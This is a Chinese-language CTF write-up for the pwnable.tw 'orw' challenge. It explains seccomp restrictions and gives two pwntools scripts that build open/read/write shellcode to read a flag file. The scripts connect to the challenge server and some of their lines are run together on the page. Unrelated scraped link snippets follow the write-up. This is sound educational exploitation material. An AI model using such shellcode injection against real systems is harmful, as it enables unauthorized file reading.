题源

题解

保护



只开启了栈保护

分析

进入ida分析 main函数如下

seccomp (Secure Computing Mode)是一种 Linux 内核安全机制,它可以 限制进程可执行的系统调用(syscall),用于减少攻击面,提高程序安全性。



使用seccomp-tools查看允许调用的函数,即orw(open,read,write)

seccomp安装方法

sudo apt install gcc ruby-dev

sudo gem install seccomp-tools

使用方法

seccomp-tools dump ./orw

该题只允许调用open,read,write.再联系题目上的信息,flag在/home/orw/flag下,即调用open打开文件,read读取文件,write输出文件内容,接下来就是编写shellcode,使用Pwntools下的shellcraft帮助编写

exp

open(path,flag,mode) flag:只读 只写 读写 mode:新建文件的权限

read(fd,buf,count) fd:文件描述符 buf:内存缓冲区 count:读取字符数

write(fd,buf,count) 和read相同

第一种

点我一下QaQ
from pwn import *  

context(os='linux', arch='i386', log_level='debug')
content = 0 if content == 1:
io = process("./orw")
else:
io = remote("chall.pwnable.tw",10001) def main():
io.recvuntil("shellcode:")
payload = shellcraft.open('/home/orw/flag',0,0)
payload += shellcraft.read(3,'/home/orw/flag', 100)
#当一个文件被打开时,会占用0,1,2三个文件描述符,而Linux中文件描述符是增加的,所以会返回3
payload += shellcraft.write(1, '/home/orw/flag', 100)
#这里的fd = 1指标准输出到终端
io.sendline(asm(payload))
io.interactive() if __name__ == '__main__':
main()

第二种

再点我一下 0.0
from pwn import *  

context(os='linux', arch='i386', log_level='debug')
content = 0 if content == 1:
io = process("./orw")
else:
io = remote("chall.pwnable.tw",10001) def main():
io.recvuntil("shellcode:")
payload = shellcraft.open('/home/orw/flag')
payload += shellcraft.read('eax','ebp', 100)
#open返回的文件描述符会存入eax,ebp作为缓冲区地址,存放读取的内容,即‘/home/orw/flag’
payload += shellcraft.write(1, 'ebp', 100)
io.sendline(asm(payload))
io.interactive() if __name__ == '__main__':
main()

推荐第二种,因为在不同的系统调用中,返回的文件描述符不一定相同,但是一定都存放在eax中.

在第一种中的payload += shellcraft.read(3,'/home/orw/flag', 100)和write调用中,

'/home/orw/flag'会shellcraft作为缓冲区地址,但是Pwntools会自动处理.因此第二种更有普适性



得到flag

Pwnable_orw的更多相关文章

  1. [BUUCTF]PWN——pwnable_orw

    pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的 ...

  2. BUU | pwnable_orw

    题解网上其他师傅已经写过了而且写的很详细,菜鸡只好写一下自己做题中的笔记 Payload : #coding:utf-8 from pwn import * context(log_level = ' ...

  3. [BUUCTF-Pwn]刷题记录1

    [BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...

  4. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  5. pwn 之 沙箱机制

    0x00: 简介 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向.一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造 ...

随机推荐

  1. python中replace不能把 \n 替换过去

    问题 简要描述:python中,字符串的 replace 不能把 \n 符号带过去 截图说明 暂时的解决办法 在replace之前,先把要替换的字符串的 \n 去掉

  2. 快速生成视频互动直播包含会议直播APP(Android)

    阿里云服务器推荐购买99元 首先此应用基于腾讯云实时音视频TRTC.注册腾讯云https://console.cloud.tencent.com/trtc 并完成实名认证开始. 安卓直播高级版 包括直 ...

  3. Vue3封装一个ElementPlus自定义上传组件2--无弹窗

    Vue3封装一个ElementPlus自定义上传组件2--无弹窗 写在前面: 无弹窗的上传组件它来了,依旧是小巧又好用,只不过这回我用的是前端直传的方式,采用http-request进行文件上传,中间 ...

  4. Qt编写地图综合应用40-覆盖物弧线

    一.前言 弧线可以用来指示某几个点直接弧形的方式绘制线条,尤其是飞机轨迹,起点到终点弧形曲线展示,更美观.百度地图的折线图.矩形图.圆形图等,都统称覆盖物,都是作为覆盖物绘制上去的,这样的好处是速度很 ...

  5. Qt开源作品29-NTP服务器时间同步

    一.前言 很多软件都有时间同步的功能,尤其是Qt在嵌入式设备上的,有时候还有很多是没有UI界面的程序,而硬件上有个时钟,时间久了难免没有电,需要从服务器来同步时间来保证本地的时间是正确的,不然本地记录 ...

  6. Qt音视频开发29-Onvif云台控制

    一.前言 云台控制也是onvif功能中最常用的,最常用的功能排第一的是拿到视频流地址,排第二的就是云台控制了,云台控制的含义就是对带云台的摄像机进行上下左右的移动,一般云台摄像机都是带有一个小电机,一 ...

  7. ERROR: SSL peer shut down incorrectly错误解决(Android Studio)

    错误信息:ERROR: SSL peer shut down incorrectly错误解决(Android Studio) 错误原因:android studio在下载"gradle-4. ...

  8. vivo手机上的系统级消息推送平台的架构设计实践

    本文由vivo互联网服务器团队李青鑫分享,有较多修订和改动. 1.引言 本文内容来自vivo互联网服务器团队李青鑫在"2021 vivo开发者大会"现场的演讲内容整理而成(现场演讲 ...

  9. SpringBoot原理深入及源码剖析(二) 自定义Starter及SpringBoot执行原理

    自定义Starter SpringBoot starter机制 SpringBoot由众多starter组成(一系列的自动化配置的starter插件),SpringBoot之所以流行,也是因为star ...

  10. React基础笔记2

    一.生命周期函数 挂载卸载过程 constructor        props context componentWillMount  服务器与客户端 componentDidMount  ajax ...